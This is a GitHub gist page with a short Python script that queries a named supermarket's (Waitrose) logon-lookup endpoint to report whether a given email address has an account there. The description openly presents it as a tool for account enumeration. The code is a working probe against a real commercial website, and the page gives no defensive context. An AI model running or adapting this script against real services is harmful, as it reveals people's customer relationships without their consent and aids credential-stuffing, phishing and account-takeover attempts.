Skip to content

Instantly share code, notes, and snippets.

@drewsberry
Last active February 9, 2017 12:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save drewsberry/cee62f3e96449031a68d8378d742495a to your computer and use it in GitHub Desktop.
Save drewsberry/cee62f3e96449031a68d8378d742495a to your computer and use it in GitHub Desktop.
Waitrose website expose a nice JSON API for account enumeration. This script utilises this endpoint to find out whether an input email address has an account with Waitrose.
import click
import requests
def has_waitrose_account(email_address):
""" Checks whether use with input email address has a Waitrose
account. """
enum_endpoint = "https://www.waitrose.com/shop/" + \
"LogonIdLookupCmd?_method=GET&" + \
"logonId=" + email_address
response = requests.get(enum_endpoint)
response_dict = response.json()
return response_dict["proceedToLogon"]
@click.command()
@click.argument("email_address")
def main(email_address):
has_account = has_waitrose_account(email_address)
if has_account:
print("The user", email_address, "**does have** a Waitrose account.")
else:
print("The user", email_address,
"**does not** have a Waitrose account.")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment